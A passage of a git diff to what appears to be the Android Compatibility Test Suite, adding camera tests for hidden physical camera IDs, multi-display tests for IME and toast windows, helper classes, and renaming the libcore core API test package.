int[] capabilities = CameraTestUtils.getValueNotNull(
@@ -1471,10 +1486,14 @@
String.format("Physical camera id %s shouldn't be the same as logical"
+ " camera id %s", physicalCameraId, mIds[counter]),
physicalCameraId != mIds[counter]);
- assertTrue(
- String.format("Physical camera id %s should be in available camera ids",
- physicalCameraId),
- cameraIdList.contains(physicalCameraId));
+
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) {
+ assertTrue(
+ String.format(
+ "Physical camera id %s should be in available camera ids",
+ physicalCameraId),
+ Arrays.asList(publicIds).contains(physicalCameraId));
+ }
//validation for depth static metadata of physical cameras
CameraCharacteristics pc =
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java
index 060cd5b..1169e64 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java
@@ -24,6 +24,7 @@
import android.graphics.Rect;
import android.hardware.camera2.CameraCaptureSession;
import android.hardware.camera2.CameraCaptureSession.CaptureCallback;
+import android.hardware.camera2.CameraCharacteristics;
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraManager;
import android.hardware.camera2.CaptureRequest;
@@ -114,11 +115,24 @@
mDebugFileNameBase = getContext().getExternalFilesDir(null).getPath();
mAllStaticInfo = new HashMap<String, StaticMetadata>();
+ List<String> hiddenPhysicalIds = new ArrayList<>();
for (String cameraId : mCameraIds) {
- StaticMetadata staticMetadata = new StaticMetadata(
- mCameraManager.getCameraCharacteristics(cameraId),
+ CameraCharacteristics props = mCameraManager.getCameraCharacteristics(cameraId);
+ StaticMetadata staticMetadata = new StaticMetadata(props,
CheckLevel.ASSERT, /*collector*/null);
mAllStaticInfo.put(cameraId, staticMetadata);
+
+ for (String physicalId : props.getPhysicalCameraIds()) {
+ if (!Arrays.asList(mCameraIds).contains(physicalId) &&
+ !hiddenPhysicalIds.contains(physicalId)) {
+ hiddenPhysicalIds.add(physicalId);
+ props = mCameraManager.getCameraCharacteristics(physicalId);
+ staticMetadata = new StaticMetadata(
+ mCameraManager.getCameraCharacteristics(physicalId),
+ CheckLevel.ASSERT, /*collector*/null);
+ mAllStaticInfo.put(physicalId, staticMetadata);
+ }
+ }
}
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
index 3f3cfd3..8536317 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
@@ -137,11 +137,24 @@
mDebugFileNameBase = mContext.getExternalFilesDir(null).getPath();
mAllStaticInfo = new HashMap<String, StaticMetadata>();
+ List<String> hiddenPhysicalIds = new ArrayList<>();
for (String cameraId : mCameraIds) {
- StaticMetadata staticMetadata = new StaticMetadata(
- mCameraManager.getCameraCharacteristics(cameraId),
+ CameraCharacteristics props = mCameraManager.getCameraCharacteristics(cameraId);
+ StaticMetadata staticMetadata = new StaticMetadata(props,
CheckLevel.ASSERT, /*collector*/null);
mAllStaticInfo.put(cameraId, staticMetadata);
+
+ for (String physicalId : props.getPhysicalCameraIds()) {
+ if (!Arrays.asList(mCameraIds).contains(physicalId) &&
+ !hiddenPhysicalIds.contains(physicalId)) {
+ hiddenPhysicalIds.add(physicalId);
+ props = mCameraManager.getCameraCharacteristics(physicalId);
+ staticMetadata = new StaticMetadata(
+ mCameraManager.getCameraCharacteristics(physicalId),
+ CheckLevel.ASSERT, /*collector*/null);
+ mAllStaticInfo.put(physicalId, staticMetadata);
+ }
+ }
}
mWindowManager = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
diff --git a/tests/framework/base/activitymanager/Android.mk b/tests/framework/base/activitymanager/Android.mk
index 4d584fa..925b228 100644
--- a/tests/framework/base/activitymanager/Android.mk
+++ b/tests/framework/base/activitymanager/Android.mk
@@ -38,7 +38,12 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
android-support-test \
- cts-amwm-util
+ cts-amwm-util \
+ CtsMockInputMethod
+
+# Merge resources & AndroidManifest.xml from MockIme cts package
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../../../inputmethod/res
+LOCAL_FULL_LIBS_MANIFEST_FILES := $(LOCAL_PATH)/../../../inputmethod/mockime/AndroidManifest_MockIme.xml
LOCAL_CTS_TEST_PACKAGE := android.server
diff --git a/tests/framework/base/activitymanager/AndroidManifest.xml b/tests/framework/base/activitymanager/AndroidManifest.xml
index e341b45..7fdd68a 100644
--- a/tests/framework/base/activitymanager/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/AndroidManifest.xml
@@ -77,6 +77,8 @@
<activity android:name="android.server.am.StartActivityTests$TestActivity2" />
+ <activity android:name="android.server.am.ActivityManagerMultiDisplayTests$EditTestActivity" />
+
</application>
<instrumentation
diff --git a/tests/framework/base/activitymanager/app/AndroidManifest.xml b/tests/framework/base/activitymanager/app/AndroidManifest.xml
index c977b37..8a41d54 100755
--- a/tests/framework/base/activitymanager/app/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/app/AndroidManifest.xml
@@ -378,6 +378,9 @@
android:showWhenLocked="true"
android:exported="true" />
+ <activity android:name=".ToastActivity"
+ android:exported="true"/>
+
<activity android:name=".TurnScreenOnAttrActivity"
android:turnScreenOn="true"
android:exported="true" />
@@ -408,6 +411,9 @@
<activity android:name=".RecursiveActivity"
android:exported="true"/>
+ <activity android:name=".LaunchTestOnDestroyActivity"
+ android:exported="true"/>
+
<service android:name="com.android.cts.verifier.vr.MockVrListenerService"
android:exported="true"
android:enabled="true"
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/Components.java b/tests/framework/base/activitymanager/app/src/android/server/am/Components.java
index a2eef13..a7f42fa 100644
--- a/tests/framework/base/activitymanager/app/src/android/server/am/Components.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/Components.java
@@ -98,6 +98,7 @@
public static final ComponentName SPLASHSCREEN_ACTIVITY = component("SplashscreenActivity");
public static final ComponentName SWIPE_REFRESH_ACTIVITY = component("SwipeRefreshActivity");
public static final ComponentName TEST_ACTIVITY = component("TestActivity");
+ public static final ComponentName TOAST_ACTIVITY = component("ToastActivity");
public static final ComponentName TOP_ACTIVITY = component("TopActivity");
public static final ComponentName TEST_ACTIVITY_WITH_SAME_AFFINITY =
component("TestActivityWithSameAffinity");
@@ -130,6 +131,8 @@
component("VirtualDisplayActivity");
public static final ComponentName VR_TEST_ACTIVITY = component("VrTestActivity");
public static final ComponentName WALLPAPAER_ACTIVITY = component("WallpaperActivity");
+ public static final ComponentName LAUNCH_TEST_ON_DESTROY_ACTIVITY = component(
+ "LaunchTestOnDestroyActivity");
public static final ComponentName ASSISTANT_VOICE_INTERACTION_SERVICE =
component("AssistantVoiceInteractionService");
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LaunchTestOnDestroyActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchTestOnDestroyActivity.java
new file mode 100644
index 0000000..8380a5d
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchTestOnDestroyActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.server.am.Components.TEST_ACTIVITY;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class LaunchTestOnDestroyActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+ Intent intent = new Intent();
+ intent.setComponent(TEST_ACTIVITY);
+ intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
+ startActivity(intent);
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ToastActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ToastActivity.java
new file mode 100644
index 0000000..389c263
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ToastActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.Toast;
+
+public class ToastActivity extends Activity {
+ private static final String TEST_TOAST_TEXT = "test toast";
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ Toast.makeText(this, TEST_TOAST_TEXT, Toast.LENGTH_LONG).show();
+ }
+}
\ No newline at end of file
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
index fc8823e..2d0bf38 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
@@ -48,6 +48,7 @@
import static android.server.am.Components.TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY;
import static android.server.am.Components.TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY;
import static android.server.am.UiDeviceUtils.pressBackButton;
+import static android.server.am.VirtualDisplayHelper.waitForDefaultDisplayState;
import static android.view.Display.DEFAULT_DISPLAY;
import static org.junit.Assert.assertFalse;
@@ -444,6 +445,9 @@
logSeparator = separateLogs();
launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, true);
+ // Wait more for display state change since turning the display ON may take longer
+ // and reported after the activity launch.
+ waitForDefaultDisplayState(true /* wantOn */);
assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
assertSingleStart(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, logSeparator);
}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
index 4c08dcf..5e82836 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
@@ -22,7 +22,6 @@
import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
import static android.server.am.ActivityLauncher.KEY_LAUNCH_ACTIVITY;
@@ -37,10 +36,12 @@
import static android.server.am.Components.LAUNCHING_ACTIVITY;
import static android.server.am.Components.LAUNCH_BROADCAST_ACTION;
import static android.server.am.Components.LAUNCH_BROADCAST_RECEIVER;
+import static android.server.am.Components.LAUNCH_TEST_ON_DESTROY_ACTIVITY;
import static android.server.am.Components.NON_RESIZEABLE_ACTIVITY;
import static android.server.am.Components.RESIZEABLE_ACTIVITY;
import static android.server.am.Components.SHOW_WHEN_LOCKED_ATTR_ACTIVITY;
import static android.server.am.Components.TEST_ACTIVITY;
+import static android.server.am.Components.TOAST_ACTIVITY;
import static android.server.am.Components.VIRTUAL_DISPLAY_ACTIVITY;
import static android.server.am.StateLogger.logAlways;
import static android.server.am.StateLogger.logE;
@@ -53,19 +54,23 @@
import static android.server.am.third.Components.THIRD_ACTIVITY;
import static android.view.Display.DEFAULT_DISPLAY;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertThat;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
import static org.junit.Assume.assumeTrue;
+import android.app.Activity;
import android.app.ActivityOptions;
import android.content.ComponentName;
import android.content.Intent;
+import android.content.res.Configuration;
+import android.graphics.Rect;
import android.os.Bundle;
import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
@@ -73,18 +78,27 @@
import android.server.am.ActivityManagerState.ActivityStack;
import android.server.am.CommandSession.ActivitySession;
import android.server.am.CommandSession.SizeInfo;
+import android.support.test.InstrumentationRegistry;
import android.support.test.filters.FlakyTest;
import android.util.SparseArray;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.inputmethod.InputMethodManager;
+import android.widget.EditText;
+import android.widget.LinearLayout;
import androidx.annotation.Nullable;
import com.android.compatibility.common.util.SystemUtil;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
import org.junit.Before;
import org.junit.Test;
-import java.util.concurrent.TimeUnit;
import java.util.List;
+import java.util.concurrent.TimeUnit;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@@ -109,11 +123,30 @@
@FlakyTest(bugId = 77270929)
public void testLaunchActivityOnSecondaryDisplay() throws Exception {
validateActivityLaunchOnNewDisplay(ACTIVITY_TYPE_STANDARD);
- // TODO(b/111363427) Enable the tests cases once we have properly handled non-standard
- // type activities
- //validateActivityLaunchOnNewDisplay(ACTIVITY_TYPE_HOME);
- //validateActivityLaunchOnNewDisplay(ACTIVITY_TYPE_RECENTS);
- //validateActivityLaunchOnNewDisplay(ACTIVITY_TYPE_ASSISTANT);
+ }
+
+ /**
+ * Tests launching a home activity on virtual display.
+ */
+ @Test
+ public void testLaunchHomeActivityOnSecondaryDisplay() throws Exception {
+ validateActivityLaunchOnNewDisplay(ACTIVITY_TYPE_HOME);
+ }
+
+ /**
+ * Tests launching a recent activity on virtual display.
+ */
+ @Test
+ public void testLaunchRecentActivityOnSecondaryDisplay() throws Exception {
+ validateActivityLaunchOnNewDisplay(ACTIVITY_TYPE_RECENTS);
+ }
+
+ /**
+ * Tests launching an assistant activity on virtual display.
+ */
+ @Test
+ public void testLaunchAssistantActivityOnSecondaryDisplay() throws Exception {
+ validateActivityLaunchOnNewDisplay(ACTIVITY_TYPE_ASSISTANT);
}
private void validateActivityLaunchOnNewDisplay(int activityType) throws Exception {
@@ -1136,6 +1169,32 @@
}
/**
+ * Test that newly launched activity will be landing on default display on display removal.
+ */
+ @Test
+ public void testActivityLaunchOnContentDestroyDisplayRemoved() throws Exception {
+ try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
+ // Create new private virtual display.
+ final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+ // Launch activities on new secondary display.
+ SystemUtil.runWithShellPermissionIdentity(
+ () -> getLaunchActivityBuilder().setUseInstrumentation()
+ .setTargetActivity(LAUNCH_TEST_ON_DESTROY_ACTIVITY).setNewTask(true)
+ .setMultipleTask(true).setDisplayId(newDisplay.mId).execute());
+
+ waitAndAssertTopResumedActivity(LAUNCH_TEST_ON_DESTROY_ACTIVITY, newDisplay.mId,
+ "Launched activity must be on top");
+
+ // Destroy the display
+ }
+
+ waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+ "Newly launches activity should be landing on default display");
+ }
+
+ /**
* Test that the update of display metrics updates all its content.
*/
@Test
@@ -1757,7 +1816,6 @@
}
}
-
/**
* Tests tap and set focus between displays.
* TODO(b/111361570): focus tracking between multi-display may change to check focus display.
@@ -1778,6 +1836,7 @@
final int width = displayMetrics.getSize().getWidth();
final int height = displayMetrics.getSize().getHeight();
tapOnDisplay(width / 2, height / 2, DEFAULT_DISPLAY);
+
waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
"Activity should be top resumed when tapped.");
mAmWmState.assertFocusedActivity("Activity on default display must be focused.",
@@ -1786,12 +1845,80 @@
tapOnDisplay(VirtualDisplayHelper.WIDTH / 2, VirtualDisplayHelper.HEIGHT / 2,
newDisplay.mId);
waitAndAssertTopResumedActivity(VIRTUAL_DISPLAY_ACTIVITY, newDisplay.mId,
- "Virtual display activity should be top resumed when tapped.");
+ "Virtual display activity should be top resumed when tapped.");
mAmWmState.assertFocusedActivity("Activity on second display must be focused.",
VIRTUAL_DISPLAY_ACTIVITY);
}
}
+ @Test
+ public void testImeWindowVisibilityForVirtualDisplay() throws Exception {
+ final long TIMEOUT_SOFT_INPUT = TimeUnit.SECONDS.toMillis(5);
+
+ try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession();
+ final TestActivitySession<EditTestActivity> imeTestActivitySession = new
+ TestActivitySession<>();
+ // Leverage MockImeSession to ensure at least a test Ime exists as default.
+ final MockImeSession mockImeSession = MockImeSession.create(
+ mContext, InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+ new ImeSettings.Builder())) {
+ // Create virtual display & launch test activity.
+ final ActivityDisplay newDisplay =
+ virtualDisplaySession.setPublicDisplay(true).createDisplay();
+ imeTestActivitySession.launchTestActivityOnDisplaySync(EditTestActivity.class,
+ newDisplay.mId);
+ // Focus EditText to show soft input.
+ final EditText editText = imeTestActivitySession.getActivity().getEditText();
+ final ImeEventStream stream = mockImeSession.openEventStream();
+ imeTestActivitySession.runOnMainSyncAndWait(() -> {
+ editText.setFocusable(true);
+ editText.requestFocus();
+ showSoftInputForView(editText);
+ });
+ expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()),
+ TIMEOUT_SOFT_INPUT);
+
+ // Ensure that the IME is visible & shown in virtual display.
+ testImeWindowVisibilityForVirtualDisplay(true /* visible */,
+ newDisplay.mId /* displayId */);
+
+ // Check Ime window's display configuration if same as virtual display.
+ assertImeWindowAndDisplayConfiguration(getImeWindowState(), newDisplay);
+
+ // Tap on default display, assert Ime window will hide as expected.
+ final ReportedDisplayMetrics displayMetrics = getDisplayMetrics();
+ final int width = displayMetrics.getSize().getWidth();
+ final int height = displayMetrics.getSize().getHeight();
+ tapOnDisplay(width / 2, height / 2, DEFAULT_DISPLAY);
+
+ // Ensure that the IME is hidden in virtual display.
+ testImeWindowVisibilityForVirtualDisplay(false /* visible */,
+ newDisplay.mId /* displayId */);
+ }
+ }
+
+ /**
+ * Tests that toast works on a secondary display.
+ */
+ @Test
+ public void testSecondaryDisplayShowToast() throws Exception {
+ try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()){
+ final ActivityDisplay newDisplay =
+ virtualDisplaySession.setPublicDisplay(true).createDisplay();
+ final String TOAST_NAME = "Toast";
+ launchActivityOnDisplay(TOAST_ACTIVITY, newDisplay.mId);
+ waitAndAssertTopResumedActivity(TOAST_ACTIVITY, newDisplay.mId,
+ "Activity launched on external display must be resumed");
+ mAmWmState.waitForWithWmState((state) -> state.containsWindow(TOAST_NAME),
+ "Waiting for toast window to show");
+
+ assertTrue("Toast window must be shown",
+ mAmWmState.getWmState().containsWindow(TOAST_NAME));
+ assertTrue("Toast window must be visible",
+ mAmWmState.getWmState().isWindowVisible(TOAST_NAME));
+ }
+ }
+
private class ExternalDisplaySession implements AutoCloseable {
@Nullable
@@ -1863,4 +1990,59 @@
VirtualDisplayHelper.waitForDefaultDisplayState(wantOn);
}
}
+
+ public static class EditTestActivity extends Activity {
+ private EditText mEditText;
+ @Override
+ protected void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+ final LinearLayout layout = new LinearLayout(this);
+ layout.setOrientation(LinearLayout.VERTICAL);
+ mEditText = new EditText(this);
+ layout.addView(mEditText);
+ getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_ADJUST_RESIZE);
+ setContentView(layout);
+ }
+
+ EditText getEditText() {
+ return mEditText;
+ }
+ }
+
+ void showSoftInputForView(View view) {
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ mContext.getSystemService(InputMethodManager.class).showSoftInput(view, 0);
+ });
+ }
+
+ void testImeWindowVisibilityForVirtualDisplay(boolean visible, int displayId) {
+ final WindowManagerState.WindowState imeWinState =
+ mAmWmState.waitForWindowWithVisibility(this::getImeWindowState,
+ "IME" /* winName */, visible);
+ if (imeWinState != null) {
+ assertEquals("IME window display", displayId, imeWinState.getDisplayId());
+ assertEquals("IME window visibility", visible, imeWinState.isShown());
+ } else {
+ assertFalse("IME window not exist", visible);
+ }
+ }
+
+ void assertImeWindowAndDisplayConfiguration(
+ WindowManagerState.WindowState imeWinState, ActivityDisplay display) {
+ final Configuration configurationForIme = imeWinState.mMergedOverrideConfiguration;
+ final Configuration configurationForDisplay = display.mMergedOverrideConfiguration;
+ final int displayDensityDpiForIme = configurationForIme.densityDpi;
+ final int displayDensityDpi = configurationForDisplay.densityDpi;
+ final Rect displayBoundsForIme = configurationForIme.windowConfiguration.getBounds();
+ final Rect displayBounds = configurationForDisplay.windowConfiguration.getBounds();
+
+ assertEquals("Display density not the same", displayDensityDpi, displayDensityDpiForIme);
+ assertEquals("Display bounds not the same", displayBounds, displayBoundsForIme);
+ }
+
+ WindowManagerState.WindowState getImeWindowState() {
+ final WindowManagerState wmState = mAmWmState.getWmState();
+ wmState.computeState();
+ return wmState.getInputMethodWindowState();
+ }
}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
index caf7a92..31e723f 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
@@ -61,6 +61,7 @@
import java.util.function.BiPredicate;
import java.util.function.BooleanSupplier;
import java.util.function.Predicate;
+import java.util.function.Supplier;
import java.util.stream.Collectors;
/**
@@ -214,6 +215,24 @@
logE("***Waiting for debugger window failed");
}
+ WindowState waitForWindowWithVisibility(Supplier<WindowState> supplier, String winName,
+ boolean visible) {
+ WindowState windowState = null;
+ for (int retry = 1; retry <= 5; retry++) {
+ windowState = supplier.get();
+ if (windowState != null) {
+ if (windowState.isShown() == visible)
+ break;
+ } else {
+ if (!visible)
+ break;
+ }
+ logAlways("***Waiting for valid " + winName + " Window... retry=" + retry);
+ SystemClock.sleep(1000);
+ }
+ return windowState;
+ }
+
void waitForHomeActivityVisible() {
ComponentName homeActivity = mAmState.getHomeActivityName();
// Sometimes this function is called before we know what Home Activity is
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
index 79c4558..3c89472 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
@@ -286,6 +286,42 @@
}
}
+ /**
+ * Helper class to launch / close test activity by instrumentation way.
+ */
+ protected class TestActivitySession<T extends Activity> implements AutoCloseable {
+ private T mTestActivity;
+ void launchTestActivityOnDisplaySync(Class<T> activityClass, int displayId) {
+ SystemUtil.runWithShellPermissionIdentity(() -> {
+ final Bundle bundle = ActivityOptions.makeBasic()
+ .setLaunchDisplayId(displayId).toBundle();
+ mTestActivity = (T) InstrumentationRegistry.getInstrumentation()
+ .startActivitySync(new Intent(mContext, activityClass)
+ .addFlags(FLAG_ACTIVITY_NEW_TASK), bundle);
+ // Check activity is launched and resumed.
+ final ComponentName testActivityName = mTestActivity.getComponentName();
+ mAmWmState.waitForActivityState(testActivityName, STATE_RESUMED);
+ mAmWmState.assertResumedActivity("Activity must be resumed", testActivityName);
+ });
+ }
+
+ void runOnMainSyncAndWait(Runnable runnable) {
+ InstrumentationRegistry.getInstrumentation().runOnMainSync(runnable);
+ InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+ }
+
+ T getActivity() {
+ return mTestActivity;
+ }
+
+ @Override
+ public void close() throws Exception {
+ if (mTestActivity != null) {
+ mTestActivity.finishAndRemoveTask();
+ }
+ }
+ }
+
@Before
public void setUp() throws Exception {
mContext = InstrumentationRegistry.getContext();
diff --git a/tests/inputmethod/mockime/AndroidManifest_MockIme.xml b/tests/inputmethod/mockime/AndroidManifest_MockIme.xml
new file mode 100644
index 0000000..4a1f319
--- /dev/null
+++ b/tests/inputmethod/mockime/AndroidManifest_MockIme.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.view.inputmethod.cts"
+ android:targetSandboxVersion="2">
+
+ <application
+ android:multiArch="true"
+ android:supportsRtl="true">
+
+ <!-- In order to test typical use cases, let this MockIME run in a separate process -->
+ <service
+ android:name="com.android.cts.mockime.MockIme"
+ android:label="Mock IME"
+ android:permission="android.permission.BIND_INPUT_METHOD"
+ android:process=":mockime">
+ <intent-filter>
+ <action android:name="android.view.InputMethod" />
+ </intent-filter>
+ <meta-data
+ android:name="android.view.im"
+ android:resource="@xml/method" />
+ </service>
+
+ </application>
+</manifest>
diff --git a/tests/libcore/coreapi/Android.mk b/tests/libcore/coreplatformapi/Android.mk
similarity index 92%
rename from tests/libcore/coreapi/Android.mk
rename to tests/libcore/coreplatformapi/Android.mk
index 225dc15..9dd2f17 100644
--- a/tests/libcore/coreapi/Android.mk
+++ b/tests/libcore/coreplatformapi/Android.mk
@@ -16,12 +16,12 @@
include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsLibcoreCoreApiTestCases
+LOCAL_PACKAGE_NAME := CtsLibcoreCorePlatformApiTestCases
LOCAL_PRIVATE_PLATFORM_APIS := true
LOCAL_STATIC_JAVA_LIBRARIES := \
cts-core-test-runner \
- core-api-test
+ core-platform-api-test
# Don't include this package in any target
LOCAL_MODULE_TAGS := tests
diff --git a/tests/libcore/coreapi/AndroidManifest.xml b/tests/libcore/coreplatformapi/AndroidManifest.xml
similarity index 84%
rename from tests/libcore/coreapi/AndroidManifest.xml
rename to tests/libcore/coreplatformapi/AndroidManifest.xml
index f2f2f7f..6b582a8 100644
--- a/tests/libcore/coreapi/AndroidManifest.xml
+++ b/tests/libcore/coreplatformapi/AndroidManifest.xml
@@ -16,7 +16,7 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.libcore.cts.coreapi"
+ package="android.libcore.cts.coreplatformapi"
android:targetSandboxVersion="2">
<application android:usesCleartextTraffic="true">
@@ -25,7 +25,7 @@
<instrumentation
android:name="android.support.test.runner.AndroidJUnitRunner"
- android:label="CTS Libcore core API test cases"
- android:targetPackage="android.libcore.cts.coreapi">
+ android:label="CTS Libcore core platform API test cases"
+ android:targetPackage="android.libcore.cts.coreplatformapi">
</instrumentation>
</manifest>
diff --git a/tests/libcore/coreapi/AndroidTest.xml b/tests/libcore/coreplatformapi/AndroidTest.xml
similarity index 82%
rename from tests/libcore/coreapi/AndroidTest.xml
rename to tests/libcore/coreplatformapi/AndroidTest.xml
index f0ef03e..907fb2d 100644
--- a/tests/libcore/coreapi/AndroidTest.xml
+++ b/tests/libcore/coreplatformapi/AndroidTest.xml
@@ -13,15 +13,15 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-<configuration description="Config for CTS Libcore core API test cases">
+<configuration description="Config for CTS Libcore core platform API test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="libcore" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsLibcoreCoreApiTestCases.apk" />
+ <option name="test-file-name" value="CtsLibcoreCorePlatformApiTestCases.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
- <option name="package" value="android.libcore.cts.coreapi" />
+ <option name="package" value="android.libcore.cts.coreplatformapi" />
<option name="runtime-hint" value="1m"/>
<option name="hidden-api-checks" value="false"/>
</test>
diff --git a/tests/libcore/coreapi/Android.mk b/tests/tests/binder_ndk/Android.mk
similarity index 65%
copy from tests/libcore/coreapi/Android.mk
